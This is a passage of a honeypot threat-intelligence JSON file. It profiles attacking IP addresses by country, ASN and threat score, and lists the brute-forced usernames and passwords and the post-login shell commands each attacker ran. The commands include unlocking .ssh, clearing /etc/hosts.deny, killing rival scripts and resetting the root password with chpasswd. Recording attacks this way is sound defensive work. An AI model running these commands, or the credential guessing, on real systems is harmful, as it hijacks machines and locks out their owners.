        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"azureuser123!\\nbP45hhXXBAb1\\nbP45hhXXBAb1\\n\"|passwd",
        "echo \"root:hnIDlj3w69Bo\"|chpasswd|bash",
        "echo \"root:lW9SfENQhw9w\"|chpasswd|bash",
        "echo -e \"azureuser123!\\nbP45hhXXBAb1\\nbP45hhXXBAb1\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 412,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:54:11.699000+00:00",
        "last_seen_30d": "2026-04-04T16:56:12.215000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 82
      }
    },
    "182.253.156.184": {
      "attack_count": 330,
      "first_seen": "2026-04-15T15:58:06.336Z",
      "last_seen": "2026-04-15T16:43:59.291Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "newftpuser",
        "ftpuser2",
        "steam",
        "test12",
        "tester",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11q2w3e4r.",
        "12345",
        "123456",
        "123456wW",
        "123@123Abc",
        "123@root",
        "123qaz",
        "1qazXDR%",
        "AAbb@1234",
        "Abcd123..",
        "Admin!@#456",
        "Admin1$",
        "Test123!@",
        "aaDD123123",
        "azerty",
        "ftpuser2",
        "password",
        "qazwsx11111@@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n9cfEMYDroiRS\\n9cfEMYDroiRS\\n\"|passwd",
        "echo \"root:2JZ2vRPrKwke\"|chpasswd|bash",
        "echo \"root:wRJfZF3cVJ3U\"|chpasswd|bash",
        "echo -e \"123456\\n9cfEMYDroiRS\\n9cfEMYDroiRS\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "West Jakarta",
      "asn": 17451,
      "as_org": "BIZNET NETWORKS",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T15:58:06.336000+00:00",
        "last_seen_30d": "2026-04-15T16:45:01.100000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "103.143.231.2": {
      "attack_count": 279,
      "first_seen": "2026-04-27T12:15:32.718Z",
      "last_seen": "2026-04-27T14:00:17.955Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "1a2s3d",
        "1q2w3e4rewq",
        "3edcedc",
        "@Rq92u8fjewRweqf45y43tgh3",
        "Corona4Ever",
        "Gabita23",
        "admin123pzhgjj",
        "admin@12345678",
        "dahua@2024",
        "forbidden",
        "h0st1ng",
        "jenkins1234567890",
        "kalimero4cappy",
        "m0v3over",
        "root!@2025",
        "whocares"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5yIUdHthXj3w\"|chpasswd|bash",
        "echo \"root:IkCHF0mznktR\"|chpasswd|bash",
        "echo \"root:U46XY9qKr2dL\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 34.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T12:15:32.718000+00:00",
        "last_seen_30d": "2026-04-27T14:01:20.529000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 279,
        "Suricata": 48
      }
    },
    "179.101.200.54": {
      "attack_count": 261,
      "first_seen": "2026-04-17T02:57:35.877Z",
      "last_seen": "2026-04-17T03:45:22.265Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "dev",
        "ftpuser",
        "loguser",
        "minecraft",
        "nikita",
        "oracle",
        "steam",
        "teamspeak",
        "test0",
        "testing",
        "testuser",
        "ubuntu",
        "user",
        "vpn",
        "www"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "951753",
        "A123456Z",
        "Admin123#",
        "Dev26",
        "Passw0rd@123",
        "QWE!123456",
        "Steam1234",
        "Ta123456",
        "ZZbb111",
        "abc123",
        "admin1234",
        "ali14!",
        "dev123",
        "loguser",
        "qazwsx2025@#",
        "qwe!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1lEwG68rZPsQ\"|chpasswd|bash",
        "echo \"root:AuHITcGSds8w\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sorocaba",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T02:57:35.877000+00:00",
        "last_seen_30d": "2026-04-17T03:46:24.447000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 67
      }
    },
    "103.59.94.19": {
      "attack_count": 236,
      "first_seen": "2026-04-03T03:12:55.976Z",
      "last_seen": "2026-04-03T04:28:29.273Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Password123",
        "123456.aa",
        "123456Lh",
        "998877",
        "Cc123456789",
        "Hb@123456",
        "Passw0rd2025",
        "Passw0rd@123",
        "Password-123",
        "R6jT6kfs",
        "admin@pass",
        "amor",
        "ctyun",
        "hc123456987",
        "poli",
        "qwe456",
        "sa12345",
        "wasdwasd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3gx4Wt8Jz0ns\"|chpasswd|bash",
        "echo \"root:ifTYNPqOx4kg\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:12:55.976000+00:00",
        "last_seen_30d": "2026-04-03T04:29:33.544000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "119.28.9.170": {
      "attack_count": 236,
      "first_seen": "2026-04-01T05:46:54.712Z",
      "last_seen": "2026-04-01T06:53:12.249Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ4esz",
        "123456Abc",
        "1q2q3q4q5q",
        "233",
        "3141592654",
        "Gx123456@",
        "Kingdee@123",
        "Passw0rD",
        "Qwer123$",
        "Qwerty.2024",
        "Ud123456",
        "Zy123456789",
        "bgpas29405",
        "donald123",
        "lanyue@2024",
        "liqing",
        "ln5203344***",
        "q1w2e3r4Q!W@E#R$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:mWby2Ni5So58\"|chpasswd|bash",
        "echo \"root:txDH5fe27eDG\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:46:54.712000+00:00",
        "last_seen_30d": "2026-04-01T06:54:19.319000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "103.249.84.242": {
      "attack_count": 203,
      "first_seen": "2026-04-25T19:01:58.494Z",
      "last_seen": "2026-04-25T19:42:33.445Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "bot",
        "erpnext",
        "frappe",
        "ftpuser",
        "huawei",
        "n8n",
        "odoo",
        "test",
        "testuser",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "112233445566",
        "123!@#qweQWE",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456!",
        "AAbb1234!",
        "AAxx123123",
        "Aa112211.",
        "Admin1",
        "LetMeIn",
        "MoeClub.org",
        "Odoo!2025",
        "P@ssw0rd73",
        "P@ssword",
        "Root!@",
        "Vv123456",
        "asdf#$",
        "bot05",
        "erpnext@123",
        "frappe30"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:kPSpWzdx7Y9E\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 55720,
      "as_org": "Gigabit Hosting Sdn Bhd",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T19:01:58.494000+00:00",
        "last_seen_30d": "2026-04-25T19:43:42.807000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 64
      }
    },
    "103.192.38.245": {
      "attack_count": 194,
      "first_seen": "2026-04-04T22:46:12.819Z",
      "last_seen": "2026-04-04T23:51:38.556Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "fmaster",
        "test",
        "345gs5662d34",
        "amir",
        "bot3",
        "deploy",
        "ec2-user",
        "server",
        "test1",
        "ubuntu",
        "user",
        "user1",
        "web"
      ],
      "passwords_attempted": [
        "1234",
        "!@#QWE",
        "000123",
        "123",
        "123!@#asdASD",
        "3245gs5662d34",
        "345gs5662d34",
        "6yhn^YHN",
        "87654321",
        "A1231234",
        "Aa12345",
        "P@$$w0rd123",
        "Qq123456",
        "Qwertyuio123456789",
        "Server24",
        "Test@321",
        "User15",
        "aaAA123",
        "admin",
        "admin12345!@"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"fmaster\\n8PWsvnGnr2qR\\n8PWsvnGnr2qR\\n\"|passwd",
        "echo -e \"fmaster\\n8PWsvnGnr2qR\\n8PWsvnGnr2qR\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 141153,
      "as_org": "LCX International Technology Co., Limited",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T22:46:12.819000+00:00",
        "last_seen_30d": "2026-04-04T23:52:40.675000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 65
      }
    },
    "91.186.212.134": {
      "attack_count": 194,
      "first_seen": "2026-04-04T18:12:39.333Z",
      "last_seen": "2026-04-04T19:15:31.708Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "git",
        "steam",
        "ubuntu",
        "345gs5662d34",
        "claude",
        "db2inst1",
        "deploy",
        "deployer",
        "dev",
        "ftp-test",
        "jk",
        "misuser",
        "myuser",
        "n8n",
        "rico"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "123qwe",
        "124",
        "3245gs5662d34",
        "345gs5662d34",
        "A1234567890",
        "Aa168168",
        "Abcd@2026",
        "Claude20!",
        "M45uys51!",
        "Steam!@#",
        "XXqq1234",
        "asd123",
        "db2inst1",
        "ftp-test",
        "misuser",
        "n8n31",
        "q1w2e3r4"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"M45uys51!\\n7zP0ShACWZTq\\n7zP0ShACWZTq\\n\"|passwd",
        "echo -e \"M45uys51!\\n7zP0ShACWZTq\\n7zP0ShACWZTq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": null,
      "asn": 203273,
      "as_org": "NetCrafters OU",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:12:39.333000+00:00",
        "last_seen_30d": "2026-04-04T19:16:35.973000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 67
      }
    },
    "152.53.22.186": {
      "attack_count": 168,
      "first_seen": "2026-04-27T12:05:18.721Z",
      "last_seen": "2026-04-27T12:26:56.178Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin"
      ],
      "passwords_attempted": [
        "1a2s3d",
        "1q2w3e4rewq",
        "3245gs5662d34",
        "345gs5662d34",
        "3edcedc",
        "@Rq92u8fjewRweqf45y43tgh3",
        "Corona4Ever",
        "Gabita23",
        "admin123pzhgjj",
        "admin@12345678",
        "dahua@2024",
        "forbidden",
        "h0st1ng",
        "j09j3m3m01n3g",
        "jenkins1234567890",
        "kalimero4cappy",
        "l3tme1n",
        "m0v3over",
        "r9xh*yH*DcEFQE",
        "redhat72"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:I1dAyguhtMA0\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 197540,
      "as_org": "netcup GmbH",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T12:05:18.721000+00:00",
        "last_seen_30d": "2026-04-27T12:27:57.810000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 48
      }
    },
    "34.131.63.3": {
      "attack_count": 168,
      "first_seen": "2026-04-27T20:27:13.710Z",
      "last_seen": "2026-04-27T20:49:42.858Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#qweasd.",
        "1008",
        "112233ee",
        "123789abc",
        "202412",
        "3245gs5662d34",
        "345gs5662d34",
        "742024",
        "8owmpiyddyo",
        "Qwe123!",
        "Zj123456789",
        "ashok@123",
        "chandra123",
        "hik12345",
        "kafka12",
        "q1w2e3r4!!",
        "qazWSX",
        "rhjrjlbk",
        "roland",
        "torpedo"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:4PZV5e17Bv5R\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T20:27:13.710000+00:00",
        "last_seen_30d": "2026-04-27T20:50:43.629000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "107.174.62.40": {
      "attack_count": 159,
      "first_seen": "2026-04-08T05:18:21.058Z",
      "last_seen": "2026-04-08T06:20:31.284Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test1",
        "345gs5662d34",
        "atlas",
        "bitwarden",
        "bot",
        "claude",
        "odoo",
        "steam",
        "testuser",
        "vncuser"
      ],
      "passwords_attempted": [
        "123",
        "123456789",
        "1qaz!@",
        "1qaz2wsx",
        "1qaz2wsx3edc#$",
        "345gs5662d34",
        "Abcd1234",
        "Bot05",
        "Dh123456",
        "P@ssword12",
        "Qazwsx666!@#",
        "Qwer!@#123",
        "Welcome123",
        "atlas",
        "claude01!",
        "dj123456",
        "kingkong",
        "odoo25",
        "test1234",
        "test1pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
